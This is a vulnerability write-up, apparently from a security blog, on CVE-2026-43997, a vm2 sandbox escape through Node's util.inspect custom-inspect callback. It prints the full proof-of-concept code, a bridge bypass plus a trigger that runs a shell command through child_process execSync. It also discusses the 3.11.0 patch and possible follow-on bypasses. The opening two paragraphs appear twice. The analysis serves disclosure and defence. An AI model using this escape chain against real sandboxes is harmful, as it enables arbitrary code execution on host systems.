//nefariousplan

CVE-2026-43997: vm2 Blocked the Function Constructor. util.inspect Still Calls the Sandbox Handler.

vendor

patterns

cve

proof of concept

The PoC for CVE-2026-43997 ends with WebAssembly.compileStreaming(obj).catch(() => {}). The argument is not a Response. The catch is not the mechanism. The mechanism is that compileStreaming's argument-rejection path runs util.inspect on the argument synchronously, before the Promise rejects, to build a useful error message. The argument is a sandbox-defined object whose Symbol(nodejs.util.inspect.custom) method is a handler the attacker authored. Node's host-realm util.inspect calls that handler in the sandbox realm with a host-realm reference to itself as the handler's third positional argument.

vm2 3.11.0 patched this. The patch does not stop the host from calling the sandbox handler. The patch does not stop the host inspect function from being passed as the third argument. The patch caches the four host Function constructors at bridge construction and blocks the sandbox from reading .constructor off the host reference it now holds.

The PoC for CVE-2026-43997 ends with WebAssembly.compileStreaming(obj).catch(() => {}). The argument is not a Response. The catch is not the mechanism. The mechanism is that compileStreaming's argument-rejection path runs util.inspect on the argument synchronously, before the Promise rejects, to build a useful error message. The argument is a sandbox-defined object whose Symbol(nodejs.util.inspect.custom) method is a handler the attacker authored. Node's host-realm util.inspect calls that handler in the sandbox realm with a host-realm reference to itself as the handler's third positional argument.

vm2 3.11.0 patched this. The patch does not stop the host from calling the sandbox handler. The patch does not stop the host inspect function from being passed as the third argument. The patch caches the four host Function constructors at bridge construction and blocks the sandbox from reading .constructor off the host reference it now holds.

The inspect protocol is a documented host-to-sandbox callback

Node.js exposes its inspection seam through a single globally registered symbol. Any object that defines a method at the key Symbol.for('nodejs.util.inspect.custom') replaces util.inspect's default behavior for that object. The protocol's documented use is to let a class control how it prints when it lands in a console.log call. The Node docs use a Password class as the example: define the method, return a redacted string, never expose the value.

The documentation describes the seam from the consumer side. The producer side, where util.inspect itself runs, is host code that does three things in order. It reads the symbol off the target object. It calls the method it finds. It passes three arguments to the call: a recursion depth, an options object, and a reference to util.inspect itself, "for portability," so the handler can recursively inspect any nested properties it wants to format.

The third argument is the carrier. It is a host-realm function reference, passed into a method defined in whatever realm the target object came from, by host code that has no concept of realms.

When the target object came from vm2's sandbox, the method runs in sandbox realm. The reference it receives is host-realm. The bridge that mediates everything else in vm2's design is on neither side of this call.

How the sandbox obtains the symbol value

const g = {}.__lookupGetter__;
const a = Buffer.apply;
const p = a.apply(g, [Buffer, ['__proto__']]);
const o = p.call(p.call(a));
const HObject = o.constructor;
sym = HObject.getOwnPropertySymbols(Buffer.prototype).at(0);

{}.__lookupGetter__ is the deprecated accessor still shipping on Object.prototype, in sandbox realm. Buffer.apply is host Function.prototype.apply accessed off the host Buffer constructor.

The third line is the bridge bypass. a.apply(g, [Buffer, ['__proto__']]) invokes host Function.prototype.apply with this = g and the spread arguments [Buffer, ['__proto__']], which is g.call(Buffer, '__proto__'), which is Buffer.__lookupGetter__('__proto__'). The result is the host-realm __proto__ getter function. It came back from a host-realm function call as a return value, not as a property read, so the bridge's get trap did not see it.

Two invocations later, p.call(p.call(a)) walks: a's __proto__ is host Function.prototype, Function.prototype's __proto__ is host Object.prototype. o = host Object.prototype. o.constructor = HObject = host Object. The sandbox now holds an unwrapped reference to the host Object constructor, which is the entry point to every reflection primitive in the language.

It calls HObject.getOwnPropertySymbols(Buffer.prototype). The host code enumerates symbol-keyed own properties of host Buffer.prototype. The first entry is Symbol(nodejs.util.inspect.custom). The sandbox now has the exact symbol value the inspect protocol looks up at the call site.

Buffer.prototype carries the symbol because Node.js wants console.log(buf) to render as <Buffer 01 02 03> rather than as the default index-keyed object dump. The custom inspector is part of Node's user-facing API. The sandbox does not need to know the symbol value in advance. Enumeration of any host prototype that ships custom inspection suffices.

The trigger

const obj = {
  [sym]: (depth, opt, inspect) => {
    inspect.constructor("return process.getBuiltinModule('child_process').execSync('ls')")();
  },
  valueOf: undefined,
  constructor: undefined,
};

WebAssembly.compileStreaming(obj).catch(() => {});

obj is a sandbox-realm plain object. Its property key is the host inspect symbol the sandbox just enumerated. Its property value is a sandbox-defined function. The valueOf: undefined and constructor: undefined decoys neutralize property accesses util.inspect performs before reaching the custom handler.

WebAssembly.compileStreaming expects a Response, or a Promise resolving to one. Given anything else, it rejects. The rejection's error message wants to describe what was passed; the message is built by calling util.inspect on the argument. util.inspect finds the inspect-custom symbol on obj and calls the handler.

The handler runs in sandbox realm. It receives inspect as its third argument: a host-realm reference to util.inspect itself. Before 3.11.0, reading inspect.constructor returned the host Function constructor. The handler called it with the body return process.getBuiltinModule('child_process').execSync('ls'), immediately invoked the returned function, and exited. compileStreaming's rejection then propagated; the catch handler suppressed it; the exploit had already completed before the catch ran.

The .catch(() => {}) is decoration. The shell command had run before the Promise transition.

What 3.11.0 actually patched

vm2 3.11.0 closed thirteen advisories in one coordinated release. The release note's first line reads: "Embedders running untrusted code should upgrade. Several of the advisories close full sandbox-escape RCE primitives."

The fix for CVE-2026-43997 lives in lib/bridge.js. At bridge construction, the bridge captures the four host Function constructors out of the other realm's globals, before any sandbox code runs:

let otherFunctionCtor;
let otherAsyncFunctionCtor;
let otherGeneratorFunctionCtor;
let otherAsyncGeneratorFunctionCtor;

A predicate compares against the cached identities:

function isDangerousFunctionConstructor(value) {
  return (
    value === otherFunctionCtor ||
    value === otherAsyncFunctionCtor ||
    value === otherGeneratorFunctionCtor ||
    (otherAsyncGeneratorFunctionCtor &&
     value === otherAsyncGeneratorFunctionCtor)
  );
}

The bridge's get trap consults the predicate. When the value being returned from a property access is one of the four cached constructors, the trap blocks the return regardless of the access path. A containsDangerousConstructor recursion runs the predicate on property descriptors, on nested property descriptors, and on values that could be smuggled out via the proxy-unwrapping path that Object.entries opens. The patch is comprehensive about Function constructors crossing the bridge as values the sandbox reads.

The patch does nothing to the inspect protocol. util.inspect still looks up the symbol on the target. It still calls the sandbox handler. It still passes the host-realm inspect reference as the third argument. The patch closes one verb the handler used on that reference: .constructor. The carrier is intact. The patch denies one downstream use of the carrier's payload.

The bridge already maintains an inventory of protocols it cannot interpose on

lib/setup-sandbox.js already holds the inventory. resetPromiseSpecies blocks the species lookup on Promise.prototype.then, where V8's C++ Promise machinery reads the constructor through a path the Proxy cannot trap. neutralizeArraySpeciesBatch does the same for ArraySpeciesCreate in Array#map, filter, slice, concat, splice, flat, flatMap, and the TypedArray equivalents. The WebAssembly.JSTag deletion removes the wasm-tag identity that wasm's try_table matches in C++. handleException's SuppressedError recursion unwraps V8's disposal-protocol error wrapper, which carries host-constructed errors across the bridge before any JS-visible call. A new %AsyncGeneratorPrototype% wrap intercepts generator-machinery host-error propagation. vm2's README acknowledges where this leads: "New bypasses will likely be discovered in the future."

Each entry is a host-realm protocol whose mechanics happen below the JavaScript surface where Proxies are observable. The defense for each is the same shape: identify the JS-visible seam closest to the C++ implementation, install a wrap or deletion at that seam, accept that the defense is per-feature and reactive.

CVE-2026-43997 adds another carrier to the inventory, at a different layer. Its fix is not in lib/setup-sandbox.js; it is in lib/bridge.js's constructor cache. The reason for the new layer is the direction of the crossing. The other inventoried protocols carry host references back to sandbox code as the return value of a host function the sandbox called. The inspect protocol carries the host reference into sandbox code as the argument to a sandbox method the host called. The sandbox-side wrap pattern in setup-sandbox.js has nothing to wrap when the call originates in the host; the bridge-side return-value block is the only place left to install the deny. That is what isDangerousFunctionConstructor is.

This is the Unpatchable Primitive pattern in vm2's terminal form, and the same shape recurs across the other three v3.11.0 CVEs that landed the same day. DotNetNuke's CVE-2017-9822 showed the pattern outside vm2: a deserializer whose primitive cannot be removed, and a fix that closes one consumer of it. CVE-2026-44005 found that all four of the bridge's write traps were forwarding sandbox mutations to Object.prototype. CVE-2026-43999 found that the builtin allowlist's module entry transitively re-exposed every other builtin's loader. CVE-2026-44007 found that the nesting: true configuration overrode require: false. Four distinct primitives. Each denied one verb. None removed. vm2 is the canonical Design Debt Driver of the JavaScript ecosystem: the bug class is not a coding mistake, it is what the component does.

What the next CVE in this family looks like

The inspect.custom handler still receives a host inspect reference. .constructor is blocked. Other properties on inspect are host references too. inspect.bind, inspect.call, inspect.apply return bound host functions. inspect.prototype walks to host Function.prototype. Whether each of those paths is caught by the patch's recursive descriptor inspection determines whether the next bypass takes hours or days to write.

The maintainer's own release note is the framing: "Embedders running untrusted code should upgrade." The upgrade is from one snapshot of the deny list to the next snapshot of the deny list. The protocol crossings the bridge cannot see do not move.

Advisory and PoC: GHSA-47x8-96vw-5wg6

vm2's bridge intercepts what the sandbox reads. util.inspect's call into the sandbox is not a read.